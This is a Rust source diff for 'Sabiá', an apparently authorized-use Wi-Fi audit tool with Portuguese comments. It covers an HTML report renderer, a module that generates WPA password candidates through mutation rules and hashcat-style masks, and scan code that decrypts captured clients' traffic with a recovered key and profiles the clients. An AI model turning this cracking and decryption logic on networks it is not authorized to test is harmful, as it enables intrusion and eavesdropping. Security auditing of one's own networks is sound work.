PAGED_MARKER.to_string()
|
||||
} else {
|
||||
"<script src=\"/paged.polyfill.min.js\"></script>".to_string()
|
||||
};
|
||||
let stats = &model.stats;
|
||||
let crackable = model.handshakes.iter().filter(|h| h.crackable).count();
|
||||
let critical = model
|
||||
.analysis
|
||||
.findings
|
||||
.iter()
|
||||
.filter(|f| f.severity == "bad")
|
||||
.count();
|
||||
let warnings = model
|
||||
.analysis
|
||||
.findings
|
||||
.iter()
|
||||
.filter(|f| f.severity == "warn")
|
||||
.count();
|
||||
let date = format_unix(model.generated_unix);
|
||||
let title = if model.title.is_empty() {
|
||||
"Relatório de auditoria Wi-Fi".to_string()
|
||||
} else {
|
||||
model.title.clone()
|
||||
};
|
||||
let logo_data_uri = format!("data:image/png;base64,{}", base64(LOGO_PNG));
|
||||
let footline = format!("Uso autorizado · gerado em {date}");
|
||||
let overall = if critical > 0 {
|
||||
"bad"
|
||||
} else if warnings > 0 {
|
||||
"warn"
|
||||
} else {
|
||||
"ok"
|
||||
};
|
||||
format!(
|
||||
r##"<!doctype html>
|
||||
<html lang="pt-BR">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>{title}</title>
|
||||
<style>{css}</style>
|
||||
{paged}
|
||||
</head>
|
||||
<body>
|
||||
<div class="doc-meta" data-footline="{footline}"></div>
|
||||
<main class="report">
|
||||
<section class="cover">
|
||||
<div class="top">
|
||||
<div class="brand"><img src="{logo}" alt=""><span>Sabiá</span></div>
|
||||
<span class="badge">Uso autorizado</span>
|
||||
</div>
|
||||
<div class="mid">
|
||||
<p class="eyebrow">Relatório de auditoria · redes sem fio</p>
|
||||
<h1>{title}</h1>
|
||||
<p class="lead">Achados de configuração, canais, clientes, handshakes e trilha de auditoria da captura, com verificação criptográfica — nenhuma senha é inventada.</p>
|
||||
</div>
|
||||
<div>
|
||||
<dl class="meta">
|
||||
<div><dt>Interface</dt><dd class="mono">{iface}</dd></div>
|
||||
<div><dt>Gerado em</dt><dd>{date}</dd></div>
|
||||
<div><dt>Versão do Sabiá</dt><dd>{version}</dd></div>
|
||||
<div><dt>Captura</dt><dd>{capture_state}</dd></div>
|
||||
</dl>
|
||||
<p class="foot">Documento gerado localmente. Use somente em redes próprias ou com autorização explícita do responsável. Cada ação ativa fica registrada na trilha de auditoria encadeada por hash (seção final).</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section class="toc">
|
||||
<h2>Sumário</h2>
|
||||
<ol>
|
||||
<li><a href="#sec-exec"><span class="n">01</span> Sumário executivo</a></li>
|
||||
<li><a href="#sec-findings"><span class="n">02</span> Achados</a></li>
|
||||
<li><a href="#sec-channels"><span class="n">03</span> Canais e interferência</a></li>
|
||||
<li><a href="#sec-aps"><span class="n">04</span> Redes observadas</a></li>
|
||||
<li><a href="#sec-clients"><span class="n">05</span> Clientes</a></li>
|
||||
<li><a href="#sec-hs"><span class="n">06</span> Handshakes e PMKID</a></li>
|
||||
<li><a href="#sec-wpa3"><span class="n">07</span> WPA3 e PMF</a></li>
|
||||
<li><a href="#sec-audit"><span class="n">08</span> Trilha de auditoria</a></li>
|
||||
<li><a href="#sec-method"><span class="n">09</span> Metodologia e limites</a></li>
|
||||
</ol>
|
||||
</section>
|
||||
|
||||
<section class="chapter" id="sec-exec">
|
||||
<h2>Sumário executivo</h2>
|
||||
<div class="stats">
|
||||
{stat_aps}{stat_clients}{stat_hs}{stat_crackable}
|
||||
</div>
|
||||
<div class="callout v-{overall}"><strong>{critical} achado(s) crítico(s) e {warnings} de atenção.</strong> O relatório lista as redes por segurança anunciada, os canais com menor interferência e o material de handshake disponível para verificação de senha.</div>
|
||||
<p>{summary}</p>
|
||||
<h3 style="margin-top:8mm">Escopo observado</h3>
|
||||
<p class="muted">Captura em {iface}, com {frames} quadros processados, {eapol} EAPOL e {deauth} quadros de desautenticação/desassociação. Os dados refletem apenas o que foi visto no ar durante a sessão; não há varredura ativa além das ações listadas na auditoria.</p>
|
||||
</section>
|
||||
|
||||
<section class="chapter" id="sec-findings">
|
||||
<h2>Achados</h2>
|
||||
{findings}
|
||||
</section>
|
||||
|
||||
<section class="chapter" id="sec-channels">
|
||||
<h2>Canais e interferência</h2>
|
||||
<p class="desc">Pontuação menor é melhor. O cálculo pondera sobreposição espectral e intensidade de cada AP; em 2,4 GHz a recomendação fica restrita a 1, 6 e 11.</p>
|
||||
{channels}
|
||||
</section>
|
||||
|
||||
<section class="chapter" id="sec-aps">
|
||||
<h2>Redes observadas</h2>
|
||||
{aps}
|
||||
</section>
|
||||
|
||||
<section class="chapter" id="sec-clients">
|
||||
<h2>Clientes</h2>
|
||||
<p class="desc">Exibindo até 120 estações ordenadas por volume de quadros.</p>
|
||||
{clients}
|
||||
</section>
|
||||
|
||||
<section class="chapter" id="sec-hs">
|
||||
<h2>Handshakes e PMKID</h2>
|
||||
{handshakes}
|
||||
<p class="muted">Handshakes com senha encontrada aparecem com o valor em texto; os demais podem ser exportados em .pcap ou .hc22000 na interface.</p>
|
||||
</section>
|
||||
|
||||
<section class="chapter" id="sec-wpa3">
|
||||
<h2>WPA3 e PMF</h2>
|
||||
{wpa3}
|
||||
</section>
|
||||
|
||||
<section class="chapter" id="sec-audit">
|
||||
<h2>Trilha de auditoria</h2>
|
||||
<p class="desc">Últimas 60 entradas, com hash encadeado. A verificação completa fica disponível na interface.</p>
|
||||
{audit}
|
||||
</section>
|
||||
|
||||
<section class="chapter" id="sec-method">
|
||||
<h2>Metodologia e limites</h2>
|
||||
<p>O Sabiá opera em modo monitor, agrega beacons, respostas de probe, associação e EAPOL, e só injeta quadros quando uma ação é confirmada na interface. A análise de canais é uma estimativa de sobreposição, não uma medição de espectro por SDR. A detecção de evil twin é heurística: nomes iguais com seguranças diferentes e rajadas de gerenciamento merecem verificação manual.</p>
|
||||
<p>O teste de PMF observa reassociação após desautenticação; um resultado inconclusivo não prova que o PMF está ativo. O ataque WPS depende de reaver/bully instalados e de o AP aceitar PIN. Nenhuma senha é inventada: handshakes só aparecem como quebrados quando a verificação criptográfica local confirma a candidata.</p>
|
||||
<p class="muted">Relatório gerado pelo Sabiá {version} em {date}.</p>
|
||||
</section>
|
||||
</main>
|
||||
<script>
|
||||
(function () {{
|
||||
function ready() {{
|
||||
try {{
|
||||
parent.postMessage({{ type: 'sabia-report-ready', pages: document.querySelectorAll('.pagedjs_page').length }}, '*');
|
||||
}} catch (_) {{}}
|
||||
}}
|
||||
if (window.PagedPolyfill && window.PagedPolyfill.preview) {{
|
||||
window.PagedPolyfill.preview().then(ready).catch(ready);
|
||||
}} else {{
|
||||
window.addEventListener('load', ready);
|
||||
}}
|
||||
window.addEventListener('message', function (event) {{
|
||||
if (event.data && event.data.type === 'sabia-report-print') window.print();
|
||||
}});
|
||||
}})();
|
||||
</script>
|
||||
</body>
|
||||
</html>"##,
|
||||
title = esc(&title),
|
||||
css = CSS,
|
||||
paged = paged,
|
||||
logo = logo_data_uri,
|
||||
footline = esc(&footline),
|
||||
iface = esc(&model.iface),
|
||||
date = esc(&date),
|
||||
version = esc(&model.version),
|
||||
capture_state = if model.running {
|
||||
"em andamento"
|
||||
} else {
|
||||
"encerrada"
|
||||
},
|
||||
stat_aps = stat_card(stats.aps, "redes", ""),
|
||||
stat_clients = stat_card(stats.clients, "clientes", ""),
|
||||
stat_hs = stat_card(stats.handshakes, "handshakes", ""),
|
||||
stat_crackable = stat_card(
|
||||
crackable,
|
||||
"quebráveis",
|
||||
if crackable > 0 { "bad" } else { "" }
|
||||
),
|
||||
overall = overall,
|
||||
critical = critical,
|
||||
warnings = warnings,
|
||||
summary = summary_html(model),
|
||||
frames = stats.frames,
|
||||
eapol = stats.eapol_frames,
|
||||
deauth = stats.deauth_frames,
|
||||
findings = findings_html(model),
|
||||
channels = channels_html(model),
|
||||
aps = aps_html(model),
|
||||
clients = clients_html(model),
|
||||
handshakes = handshakes_html(model),
|
||||
wpa3 = wpa3_html(model),
|
||||
audit = audit_html(model),
|
||||
)
|
||||
}
|
||||
|
||||
fn summary_html(model: &ReportModel) -> String {
|
||||
let open = model
|
||||
.access_points
|
||||
.iter()
|
||||
.filter(|a| a.security.as_deref() == Some("Open"))
|
||||
.count();
|
||||
let wps = model.access_points.iter().filter(|a| a.wps).count();
|
||||
let no_pmf = model
|
||||
.access_points
|
||||
.iter()
|
||||
.filter(|a| {
|
||||
!a.pmf
|
||||
&& matches!(
|
||||
a.security.as_deref(),
|
||||
Some("WPA2") | Some("WPA2-EAP") | Some("WPA2/WPA3")
|
||||
)
|
||||
})
|
||||
.count();
|
||||
let mut parts = Vec::new();
|
||||
parts.push(format!(
|
||||
"Foram observadas {} redes e {} estações.",
|
||||
model.stats.aps, model.stats.clients
|
||||
));
|
||||
if open > 0 {
|
||||
parts.push(format!("{open} rede(s) aberta(s)"));
|
||||
}
|
||||
if wps > 0 {
|
||||
parts.push(format!("{wps} com WPS anunciado"));
|
||||
}
|
||||
if no_pmf > 0 {
|
||||
parts.push(format!("{no_pmf} sem PMF em WPA2"));
|
||||
}
|
||||
if model.stats.handshakes > 0 {
|
||||
parts.push(format!(
|
||||
"{} handshake(s)/PMKID capturado(s)",
|
||||
model.stats.handshakes
|
||||
));
|
||||
}
|
||||
format!("{}.", parts.join("; "))
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::analysis::Analysis;
|
||||
use crate::scan::ScanStats;
|
||||
|
||||
fn model() -> ReportModel {
|
||||
ReportModel {
|
||||
title: "Teste".into(),
|
||||
version: "0.1.0".into(),
|
||||
iface: "wlan0mon".into(),
|
||||
running: false,
|
||||
generated_unix: 1_700_000_000,
|
||||
stats: ScanStats::default(),
|
||||
access_points: Vec::new(),
|
||||
clients: Vec::new(),
|
||||
handshakes: Vec::new(),
|
||||
analysis: Analysis::default(),
|
||||
audit: Vec::new(),
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn renders_escaped_standalone_html() {
|
||||
let mut m = model();
|
||||
m.title = "Rede <x>".into();
|
||||
let html = render(&m, ReportOptions::default());
|
||||
assert!(html.contains("Rede <x>"));
|
||||
assert!(html.contains("paged.polyfill.min.js"));
|
||||
assert!(html.contains("@page"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn renders_cover_toc_and_section_anchors() {
|
||||
let html = render(&model(), ReportOptions::default());
|
||||
assert!(html.contains("class=\"cover\""));
|
||||
assert!(html.contains("data:image/png;base64,"));
|
||||
assert!(html.contains("class=\"toc\""));
|
||||
assert!(html.contains("href=\"#sec-exec\""));
|
||||
assert!(html.contains("id=\"sec-exec\""));
|
||||
assert!(html.contains("id=\"sec-method\""));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn base64_matches_known_vectors() {
|
||||
// RFC 4648 test vectors.
|
||||
assert_eq!(base64(b""), "");
|
||||
assert_eq!(base64(b"f"), "Zg==");
|
||||
assert_eq!(base64(b"fo"), "Zm8=");
|
||||
assert_eq!(base64(b"foo"), "Zm9v");
|
||||
assert_eq!(base64(b"foob"), "Zm9vYg==");
|
||||
assert_eq!(base64(b"fooba"), "Zm9vYmE=");
|
||||
assert_eq!(base64(b"foobar"), "Zm9vYmFy");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn inline_option_uses_placeholder() {
|
||||
let html = render(
|
||||
&model(),
|
||||
ReportOptions {
|
||||
inline_pagedjs: true,
|
||||
},
|
||||
);
|
||||
assert!(html.contains(PAGED_MARKER));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn formats_dates() {
|
||||
assert_eq!(format_unix(0), "—");
|
||||
assert!(format_unix(1_700_000_000).ends_with("UTC"));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,232 @@
|
||||
//! Regras de mutação sobre uma palavra do dicionário (estilo hashcat `-r`,
|
||||
//! bem mais simples) e força bruta por máscara (estilo hashcat `-a 3`).
|
||||
//!
|
||||
//! Em quebra de hash normal, regras são "de graça" — um hash SHA256 custa
|
||||
//! nanossegundos. Aqui não: cada candidato é um PBKDF2-HMAC-SHA1 de 4096
|
||||
//! iterações, então cada variante multiplica o tempo de verdade. As regras
|
||||
//! abaixo cobrem os padrões mais comuns (maiúscula inicial, sufixo numérico,
|
||||
//! leet simples) sem explodir pra centenas de variantes por palavra.
|
||||
|
||||
/// Quantas variantes [`expand`] gera por palavra base (pra calcular o
|
||||
/// multiplicador de tempo antes de rodar).
|
||||
pub const VARIANTS_PER_WORD: usize = 1 + 1 + 1 + SUFFIXES.len() + LEET_PAIRS.len();
|
||||
|
||||
const SUFFIXES: &[&str] = &[
|
||||
"1", "12", "123", "1234", "12345", "123456", "01", "007", "99", "2023", "2024", "2025", "!",
|
||||
"@", "#",
|
||||
];
|
||||
|
||||
/// (char original, substituto) — leet simples, uma troca por vez, não
|
||||
/// combinada, senão a combinatória explode rápido demais.
|
||||
const LEET_PAIRS: &[(char, char)] = &[('a', '@'), ('e', '3'), ('i', '1'), ('o', '0'), ('s', '$')];
|
||||
|
||||
/// Gera as variantes de `word` (incluindo a palavra original) que respeitam
|
||||
/// o comprimento válido de WPA (8–63), sem duplicatas.
|
||||
pub fn expand(word: &str) -> Vec<String> {
|
||||
let mut out = Vec::with_capacity(VARIANTS_PER_WORD);
|
||||
let mut push = |s: String| {
|
||||
let len = s.chars().count();
|
||||
if (8..=63).contains(&len) && !out.contains(&s) {
|
||||
out.push(s);
|
||||
}
|
||||
};
|
||||
|
||||
push(word.to_string());
|
||||
|
||||
if let Some(first) = word.chars().next() {
|
||||
let capitalized: String = first.to_uppercase().chain(word.chars().skip(1)).collect();
|
||||
push(capitalized);
|
||||
}
|
||||
push(word.to_uppercase());
|
||||
|
||||
for suffix in SUFFIXES {
|
||||
push(format!("{word}{suffix}"));
|
||||
}
|
||||
|
||||
for (from, to) in LEET_PAIRS {
|
||||
if word.contains(*from) {
|
||||
push(word.replace(*from, &to.to_string()));
|
||||
}
|
||||
}
|
||||
|
||||
out
|
||||
}
|
||||
|
||||
/// Classe de caractere de um token `?x` de máscara (sintaxe hashcat: `?d`
|
||||
/// dígito, `?l` minúscula, `?u` maiúscula, `?s` símbolo comum, `?a` os
|
||||
/// quatro juntos). `??` escapa um `?` literal.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
enum CharClass {
|
||||
Digit,
|
||||
Lower,
|
||||
Upper,
|
||||
Symbol,
|
||||
All,
|
||||
Literal(char),
|
||||
}
|
||||
|
||||
const DIGITS: &str = "0123456789";
|
||||
const LOWER: &str = "abcdefghijklmnopqrstuvwxyz";
|
||||
const UPPER: &str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
||||
const SYMBOLS: &str = "!@#$%&*_-";
|
||||
|
||||
impl CharClass {
|
||||
fn alphabet(self) -> String {
|
||||
match self {
|
||||
CharClass::Digit => DIGITS.to_string(),
|
||||
CharClass::Lower => LOWER.to_string(),
|
||||
CharClass::Upper => UPPER.to_string(),
|
||||
CharClass::Symbol => SYMBOLS.to_string(),
|
||||
CharClass::All => format!("{DIGITS}{LOWER}{UPPER}{SYMBOLS}"),
|
||||
CharClass::Literal(c) => c.to_string(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Máscara compilada: uma lista de alfabetos, um por posição. Gera
|
||||
/// candidatos por índice (contagem em base mista) sem materializar a lista
|
||||
/// inteira — essencial, já que `?d?d?d?d?d?d?d?d` sozinho são 100 milhões.
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct Mask {
|
||||
alphabets: Vec<Vec<char>>,
|
||||
}
|
||||
|
||||
impl Mask {
|
||||
/// Compila uma máscara tipo `wifi?d?d?d?d` (literal "wifi" + 4 dígitos).
|
||||
/// `??` é um `?` literal; `?` seguido de letra desconhecida é erro.
|
||||
pub fn parse(pattern: &str) -> Result<Self, String> {
|
||||
let mut alphabets = Vec::new();
|
||||
let mut chars = pattern.chars().peekable();
|
||||
while let Some(c) = chars.next() {
|
||||
let class = if c == '?' {
|
||||
match chars.next() {
|
||||
Some('d') => CharClass::Digit,
|
||||
Some('l') => CharClass::Lower,
|
||||
Some('u') => CharClass::Upper,
|
||||
Some('s') => CharClass::Symbol,
|
||||
Some('a') => CharClass::All,
|
||||
Some('?') => CharClass::Literal('?'),
|
||||
Some(other) => return Err(format!("classe de máscara desconhecida: ?{other}")),
|
||||
None => return Err("máscara termina com '?' sem classe".into()),
|
||||
}
|
||||
} else {
|
||||
CharClass::Literal(c)
|
||||
};
|
||||
alphabets.push(class.alphabet().chars().collect());
|
||||
}
|
||||
if alphabets.is_empty() {
|
||||
return Err("máscara vazia".into());
|
||||
}
|
||||
if alphabets.len() > 63 {
|
||||
return Err("máscara maior que o limite de uma senha WPA (63)".into());
|
||||
}
|
||||
Ok(Self { alphabets })
|
||||
}
|
||||
|
||||
/// Total de candidatos. `None` se não couber num `u64` (máscara longa
|
||||
/// demais pra ser levada a sério de qualquer forma).
|
||||
pub fn total(&self) -> Option<u64> {
|
||||
self.alphabets
|
||||
.iter()
|
||||
.try_fold(1u64, |acc, a| acc.checked_mul(a.len() as u64))
|
||||
}
|
||||
|
||||
pub fn len(&self) -> usize {
|
||||
self.alphabets.len()
|
||||
}
|
||||
|
||||
pub fn is_empty(&self) -> bool {
|
||||
self.alphabets.is_empty()
|
||||
}
|
||||
|
||||
/// Candidato de índice `index` (contagem em base mista, como um
|
||||
/// odômetro: a última posição gira mais rápido). `None` se `index` >=
|
||||
/// `total()`.
|
||||
pub fn candidate(&self, mut index: u64) -> Option<String> {
|
||||
let total = self.total()?;
|
||||
if index >= total {
|
||||
return None;
|
||||
}
|
||||
let mut chars = vec!['\0'; self.alphabets.len()];
|
||||
for i in (0..self.alphabets.len()).rev() {
|
||||
let base = self.alphabets[i].len() as u64;
|
||||
let digit = (index % base) as usize;
|
||||
chars[i] = self.alphabets[i][digit];
|
||||
index /= base;
|
||||
}
|
||||
Some(chars.into_iter().collect())
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn expand_respects_min_length() {
|
||||
let variants = expand("senha");
|
||||
// "senha" tem 5 chars; sozinha não é candidata WPA válida (precisa
|
||||
// de 8+), mas com sufixo (ex.: "senha123", 8) sim.
|
||||
assert!(!variants.iter().any(|v| v == "senha"));
|
||||
assert!(variants.contains(&"senha123".to_string()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn expand_includes_original_when_long_enough() {
|
||||
let variants = expand("abacaxi1");
|
||||
assert!(variants.contains(&"abacaxi1".to_string()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn expand_applies_capitalization_suffix_and_leet() {
|
||||
let variants = expand("abacaxi1");
|
||||
assert!(variants.contains(&"Abacaxi1".to_string()));
|
||||
assert!(variants.contains(&"ABACAXI1".to_string()));
|
||||
assert!(variants.contains(&"abacaxi1123".to_string()));
|
||||
// leet troca TODAS as ocorrências de 'a': as três em "abacaxi1".
|
||||
assert!(variants.contains(&"@b@c@xi1".to_string()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn expand_has_no_duplicates() {
|
||||
let variants = expand("12345678");
|
||||
let mut sorted = variants.clone();
|
||||
sorted.sort();
|
||||
sorted.dedup();
|
||||
assert_eq!(variants.len(), sorted.len());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn mask_parses_literals_and_classes() {
|
||||
let mask = Mask::parse("wifi?d?d?d?d").expect("máscara válida");
|
||||
assert_eq!(mask.len(), 8);
|
||||
assert_eq!(mask.total(), Some(10_000));
|
||||
assert_eq!(mask.candidate(0).as_deref(), Some("wifi0000"));
|
||||
assert_eq!(mask.candidate(9_999).as_deref(), Some("wifi9999"));
|
||||
assert_eq!(mask.candidate(10_000), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn mask_literal_question_mark_and_unknown_class() {
|
||||
// "??" vira um '?' literal; os dois primeiros chars são consumidos
|
||||
// juntos, então "???d" é: '?' literal + "?d" (classe dígito).
|
||||
assert_eq!(
|
||||
Mask::parse("???d").unwrap().candidate(0).as_deref(),
|
||||
Some("?0")
|
||||
);
|
||||
assert!(Mask::parse("?z").is_err());
|
||||
assert!(Mask::parse("").is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn mask_covers_every_combination_exactly_once() {
|
||||
let mask = Mask::parse("?d?l").expect("máscara válida");
|
||||
let total = mask.total().unwrap();
|
||||
assert_eq!(total, 10 * 26);
|
||||
let mut seen = std::collections::HashSet::new();
|
||||
for i in 0..total {
|
||||
seen.insert(mask.candidate(i).unwrap());
|
||||
}
|
||||
assert_eq!(seen.len() as u64, total);
|
||||
}
|
||||
}
|
||||
@@ -4,7 +4,7 @@
|
||||
use crate::dot11::{self, FrameKind, Security};
|
||||
use crate::handshake::{Handshake, HandshakeInfo, HandshakeTracker};
|
||||
use crate::radiotap::{self, Band};
|
||||
use std::collections::HashMap;
|
||||
use std::collections::{HashMap, VecDeque};
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
|
||||
#[derive(Debug, Clone, serde::Serialize)]
|
||||
@@ -19,7 +19,21 @@ pub struct AccessPoint {
|
||||
pub cipher: Option<String>,
|
||||
pub akm: Vec<String>,
|
||||
pub pmf: bool,
|
||||
pub pmf_required: bool,
|
||||
pub wps: bool,
|
||||
pub wps_locked: Option<bool>,
|
||||
pub wps_version: Option<String>,
|
||||
pub wps_manufacturer: Option<String>,
|
||||
pub wps_model: Option<String>,
|
||||
pub wps_model_number: Option<String>,
|
||||
pub wps_device_name: Option<String>,
|
||||
pub wps_serial: Option<String>,
|
||||
pub vendor: Option<String>,
|
||||
pub country: Option<String>,
|
||||
pub phy: Vec<String>,
|
||||
pub width_mhz: Option<u16>,
|
||||
pub beacon_interval: Option<u16>,
|
||||
pub privacy: bool,
|
||||
pub signal_dbm: Option<i8>,
|
||||
pub max_signal_dbm: Option<i8>,
|
||||
pub beacons: u64,
|
||||
@@ -29,9 +43,33 @@ pub struct AccessPoint {
|
||||
pub last_seen_unix: u64,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, serde::Serialize)]
|
||||
pub struct SignalSample {
|
||||
pub t: u64,
|
||||
pub dbm: i8,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, serde::Serialize)]
|
||||
pub struct ClientEvent {
|
||||
pub t: u64,
|
||||
pub kind: String,
|
||||
pub detail: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, serde::Serialize)]
|
||||
pub struct Client {
|
||||
pub mac: String,
|
||||
/// Nome curto para exibir: hostname, nome WPS, modelo ou fabricante.
|
||||
pub display_name: Option<String>,
|
||||
pub vendor: Option<String>,
|
||||
pub manufacturer: Option<String>,
|
||||
pub model: Option<String>,
|
||||
pub device_name: Option<String>,
|
||||
pub hostname: Option<String>,
|
||||
pub ip: Option<String>,
|
||||
pub os: Option<String>,
|
||||
pub device: Option<String>,
|
||||
pub random_mac: bool,
|
||||
pub bssid: Option<String>,
|
||||
pub signal_dbm: Option<i8>,
|
||||
pub max_signal_dbm: Option<i8>,
|
||||
@@ -40,6 +78,11 @@ pub struct Client {
|
||||
pub associated: bool,
|
||||
pub first_seen_unix: u64,
|
||||
pub last_seen_unix: u64,
|
||||
/// Amostras de sinal (mais antiga primeiro), limitadas para não crescer
|
||||
/// sem fim numa captura longa.
|
||||
pub signal_history: Vec<SignalSample>,
|
||||
/// Linha do tempo curta: primeiro visto, probe, associação, desautenticação.
|
||||
pub events: Vec<ClientEvent>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, Default)]
|
||||
@@ -58,6 +101,17 @@ pub struct ScanSnapshot {
|
||||
pub access_points: Vec<AccessPoint>,
|
||||
pub clients: Vec<Client>,
|
||||
pub handshakes: Vec<HandshakeInfo>,
|
||||
pub analysis: crate::analysis::Analysis,
|
||||
/// Preenchido quando a captura morreu sozinha (erro de I/O, adaptador
|
||||
/// caiu da USB, etc.) — `running` já vem `false` nesse caso, mas sem
|
||||
/// isso a UI não tinha como dizer *por quê* parou.
|
||||
pub error: Option<String>,
|
||||
/// Preenchido quando a captura está rodando mas não recebeu nenhum
|
||||
/// quadro depois de um tempo razoável saltando canais — sintoma de uma
|
||||
/// placa que aceita ativar o modo monitor (o netlink não recusa) mas não
|
||||
/// entrega quadro nenhum de verdade. Comum em placas Wi-Fi internas de
|
||||
/// notebook; diferente de `error`, a sessão continua `running`.
|
||||
pub warning: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, Default, serde::Serialize)]
|
||||
@@ -78,6 +132,7 @@ pub struct ScanTable {
|
||||
frames: u64,
|
||||
eapol_frames: u64,
|
||||
deauth_frames: u64,
|
||||
deauth_times: VecDeque<u64>,
|
||||
}
|
||||
|
||||
impl ScanTable {
|
||||
@@ -129,7 +184,21 @@ impl ScanTable {
|
||||
cipher: None,
|
||||
akm: Vec::new(),
|
||||
pmf: false,
|
||||
pmf_required: false,
|
||||
wps: false,
|
||||
wps_locked: None,
|
||||
wps_version: None,
|
||||
wps_manufacturer: None,
|
||||
wps_model: None,
|
||||
wps_model_number: None,
|
||||
wps_device_name: None,
|
||||
wps_serial: None,
|
||||
vendor: crate::oui::vendor(&bssid).map(str::to_string),
|
||||
country: None,
|
||||
phy: Vec::new(),
|
||||
width_mhz: None,
|
||||
beacon_interval: None,
|
||||
privacy: false,
|
||||
signal_dbm: None,
|
||||
max_signal_dbm: None,
|
||||
beacons: 0,
|
||||
@@ -155,7 +224,24 @@ impl ScanTable {
|
||||
ap.cipher = info.cipher.clone();
|
||||
ap.akm = info.akm.clone();
|
||||
ap.pmf = info.pmf;
|
||||
ap.pmf_required = info.pmf_required;
|
||||
ap.wps = info.wps;
|
||||
if info.wps {
|
||||
ap.wps_locked = info.wps_locked;
|
||||
ap.wps_version = info.wps_version.clone();
|
||||
ap.wps_manufacturer = info.wps_manufacturer.clone();
|
||||
ap.wps_model = info.wps_model.clone();
|
||||
ap.wps_model_number = info.wps_model_number.clone();
|
||||
ap.wps_device_name = info.wps_device_name.clone();
|
||||
ap.wps_serial = info.wps_serial.clone();
|
||||
}
|
||||
ap.country = info.country.clone().or(ap.country.take());
|
||||
if !info.phy.is_empty() {
|
||||
ap.phy = info.phy.clone();
|
||||
}
|
||||
ap.width_mhz = info.width_mhz.or(ap.width_mhz);
|
||||
ap.beacon_interval = info.beacon_interval.or(ap.beacon_interval);
|
||||
ap.privacy = info.privacy;
|
||||
ap.signal_dbm = rt.signal_dbm;
|
||||
if let Some(sig) = rt.signal_dbm {
|
||||
ap.max_signal_dbm = Some(ap.max_signal_dbm.map_or(sig, |m| m.max(sig)));
|
||||
@@ -174,11 +260,19 @@ impl ScanTable {
|
||||
let info = frame.management_info();
|
||||
let c = self.touch_client(&client, now, rt.signal_dbm);
|
||||
c.packets += 1;
|
||||
apply_management_identity(c, &info);
|
||||
if let Some(ssid) = info.ssid.filter(|s| !s.is_empty()) {
|
||||
if !c.probes.contains(&ssid) {
|
||||
c.probes.push(ssid);
|
||||
c.probes.push(ssid.clone());
|
||||
c.events.push(ClientEvent {
|
||||
t: now,
|
||||
kind: "probe".into(),
|
||||
detail: Some(ssid),
|
||||
});
|
||||
trim_events(c);
|
||||
}
|
||||
}
|
||||
refresh_identity(c);
|
||||
}
|
||||
FrameKind::AssociationRequest => {
|
||||
let client = frame.src_str();
|
||||
@@ -187,10 +281,22 @@ impl ScanTable {
|
||||
.map(|m| dot11::mac_to_string(&m))
|
||||
.or_else(|| frame.bssid_str());
|
||||
if let (Some(client), Some(bssid)) = (client, bssid) {
|
||||
let info = frame.management_info();
|
||||
let c = self.touch_client(&client, now, rt.signal_dbm);
|
||||
c.packets += 1;
|
||||
apply_management_identity(c, &info);
|
||||
refresh_identity(c);
|
||||
let was = c.associated;
|
||||
c.bssid = Some(bssid.clone());
|
||||
c.associated = true;
|
||||
if !was {
|
||||
c.events.push(ClientEvent {
|
||||
t: now,
|
||||
kind: "associate".into(),
|
||||
detail: Some(bssid.clone()),
|
||||
});
|
||||
trim_events(c);
|
||||
}
|
||||
if let Some(ap) = self.aps.get_mut(&bssid) {
|
||||
if !ap.clients.contains(&client) {
|
||||
ap.clients.push(client);
|
||||
@@ -211,10 +317,43 @@ impl ScanTable {
|
||||
};
|
||||
if let (Some(client), Some(bssid)) = (client.clone(), bssid.clone()) {
|
||||
if client != bssid {
|
||||
// Calculado antes do touch_client: a TK vem de self.handshakes, e
|
||||
// o borrow checker não deixa consultar isso com `c` (borrow de
|
||||
// self.clients) vivo ao mesmo tempo.
|
||||
let tk = (frame.protected && frame.to_ds && !frame.from_ds)
|
||||
.then(|| self.handshakes.tk_for(&bssid, &client))
|
||||
.flatten();
|
||||
let c = self.touch_client(&client, now, rt.signal_dbm);
|
||||
c.packets += 1;
|
||||
if frame.to_ds && !frame.from_ds {
|
||||
if frame.protected {
|
||||
// Só decifra se já quebramos a senha e vimos o handshake
|
||||
// DESSE cliente — a PTK é por associação, então a senha da
|
||||
// rede sozinha não abre tráfego de quem não foi capturado.
|
||||
if let Some(plain) = tk.and_then(|tk| frame.ccmp_payload(&tk)) {
|
||||
let payload = dot11::payload_info_from_llc(&plain);
|
||||
apply_payload_identity(c, &payload);
|
||||
}
|
||||
} else {
|
||||
let payload = frame.payload_info();
|
||||
apply_payload_identity(c, &payload);
|
||||
}
|
||||
}
|
||||
// Sempre recalcula o nome de exibição, mesmo em quadros AP→estação
|
||||
// (downlink): sem isso, um cliente só visto recebendo dados nunca
|
||||
// ganhava o fallback para o fabricante (OUI), ficando só com o MAC.
|
||||
refresh_identity(c);
|
||||
let was = c.associated;
|
||||
